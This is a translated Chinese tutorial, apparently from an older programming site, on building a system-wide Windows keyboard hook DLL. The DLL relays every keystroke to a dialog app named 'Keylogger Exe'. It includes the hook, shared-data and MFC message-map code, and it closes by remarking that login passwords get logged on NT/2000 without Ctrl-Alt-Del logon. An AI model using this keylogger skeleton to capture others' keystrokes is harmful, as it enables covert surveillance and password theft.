文/Anoop Thomas 这篇文章描述了怎样在MICROSOFT WINDOWS里安装键盘钩子。 钩子有两种类型——线程特殊钩子和全系统钩子。线程特殊钩子只关联特别的线程(呼叫线程拥有的任何线程)。如果你想把钩子与其他进程和线程关联在一起,你将不得不使用全系统钩子。一个钩子程序关联一个钩子,当特定事件发生时这个程序总会被呼叫。例如鼠标,当与鼠标关联的事件发生,这个钩子程序就会被呼叫。钩子通过呼叫SetWindowsHookEx(?)安装,通过呼叫UnhookWindowsHookEx(?)删除。 对线程钩子来说,钩子程序也许在一个EXE文件或在一个DLL里面。但是对全局的或系统钩子来说,钩子程序必须存在在一个DLL里面。所以我们需要创建一个DLL。 为了这样做,我们用一个唯一的起动文件在它里面建立一个Win32 DLL工程,然后修改它以适合你的需要。你最好在DLL里为安装和删除钩子写好代码。 现在,在DLL头文件里像下面一样定义函数: #ifdef KEYDLL3_EXPORTS #define KEYDLL3_API __declspec(dllexport) #else #define KEYDLL3_API __declspec(dllimport) #endif
//This function installs the Keyboard hook: KEYDLL3_API void installhook(HWND h);
//This function removes the previously installed hook. KEYDLL3_API void removehook();
//hook procedure: KEYDLL3_API LRESULT CALLBACK hookproc( int ncode, WPARAM wparam, LPARAM lparam); 对DLL里的输出函数来说,使用__declspec和dllexport关键字是一个好主意,它胜过使用一个单独的DEF文件。SetWindowsHookEx( )返回一个句柄给钩子——这个钩子是为以后从钩子链卸载钩子作准备。我们也有一个窗口句柄,我们将用它来发送消息给主要的应用程序窗口。我们首先通过使用FindWindow( )函数寻找应用程序窗口,然后使用PostMessage( )呼叫发送按键消息参数给应用程序主要的窗口,像下面的程序代码片段: //Find application window handle hwnd = FindWindow("#32770","Keylogger Exe");
//Send info to app Window. PostMessage(hwnd,WM_USER+755,wparam,lparam); 在钩子程序的最后我们必须呼叫CallNextHookEx( )函数来传递参数给在下一个钩子链中安装的钩子。我极力推荐这种方法是因为如果不使用它,就会引起不可预知的系统行为和系统锁定。程序用来安装删除钩子,钩子程序如下所示: KEYDLL3_API void installhook(HWND h) { hook = NULL; hwnd = h; hook = SetWindowsHookEx( WH_KEYBOARD, hookproc, hinstance, NULL); if(hook==NULL) MessageBox( NULL, "Unable to install hook", "Error!", MB_OK); }
KEYDLL3_API void removehook() { UnhookWindowsHookEx(hook); }
KEYDLL3_API LRESULT CALLBACK hookproc( int ncode, WPARAM wparam, LPARAM lparam) { if(ncode>=0) { //Find application window handle hwnd = FindWindow("#32770","Keylogger Exe"); //Send info to app Window. PostMessage(hwnd,WM_USER+755,wparam,lparam); } //pass control to next hook. return ( CallNextHookEx(hook,ncode,wparam,lparam) ); } 如果在内存里有多重DLL的情况,则对不同DLL的情况的每个数据成员它们都有不同的值。但是,某些数据,例如钩子句柄,窗口句柄应该对所有情况都是相同的。这是因为所有情况都发送相同的信息给相同的应用程序窗口。对这而言,我们需要像在DLL的CPP文件中定义共享数据。像下面: #pragma data_seg(".HOOKDATA")//Shared data among all instances. HHOOK hook = NULL; HWND hwnd = NULL; #pragma data_seg() 现在,连接器必须被给出指令,以便将共享数据放置在DLL单独的空间里。为了这样做,我们使用下列代码,稍后是上面提到的代码: //linker directive #pragma comment(linker, "/SECTION:.HOOKDATA,RWS") 对DLL说了这么多,现在我们将来看一下Main application(EXE)。建立一个MFC应用程序(基于窗口或者基于对话框的)。为了简单起见我建立了一个基于对话框的EXE文件。创建这个项目后,到项目设置对话框通过从主菜单中选择Project>Settings,选择“Link”制表符,然后在“Object/library modules”框内显示“Keydll3.lib”,点“OK”。现在,从主菜单中选择Project>Add to project> files插入DLL头文件到工作区。选择我们早先创建的DLL的.h文件,像下面一样将它“#include”在你的项目里: //Include this for functions in the DLL: #include "..\Keydll3\Keydll3.h" 这个应该在主对话框类的CPP文件中。现在,在主对话框的类里,增加一个成员函数来处理DLL发送的按键消息。函数如下所示: afx_msg LRESULT processkey(WPARAM w,LPARAM l);//declaration
LRESULT CKeyexeDlg::processkey(WPARAM w, LPARAM l)//definition { //This block processes the keystroke info. . . . return 0L; } (这个成员在向导条里可以很容易的添加。)现在,在CPP文件中定义我们从DLL接收的消息,如下所示: //This message is recieved when key is down/up #define WM_KEYSTROKE (WM_USER + 755) 现在添加新创建的成员函数作为WM_KEYSTROKE消息的句柄,使用ON_MESSAGE宏在消息映射区(在CPP文件里),像下面: BEGIN_MESSAGE_MAP(CKeyexeDlg, CDialog) //{{AFX_MSG_MAP(CKeyexeDlg) . . . ON_MESSAGE(WM_KEYSTROKE, processkey) //}}AFX_MSG_MAP END_MESSAGE_MAP() 我们差不多完成了。但是在编译和创建EXE文件前,给Visual studio Library路径添加路径LIB 文件(Keydll3.lib)。为了这样做,从主菜单中选择Tools>Options,然后选择“Directories”制表符。从第二个列表中选择“Library files”,在下面的框内添加DLL的LIB文件。点OK。保存所有的文件和工作区,然后创建你的项目。 要得到关于钩子的更多信息,请看MSDN的下列章节: SetWindowsHookEx( ), Hook functions, Virtual-key codes, Keystroke message flags 笔记:对WINDOWSNT\2000来说,你的密码必须通过钩子程序记入日志,如果你没有激活“Ctrl-Alt-Del”登录序列的话。(只有当接通PC时。) 
|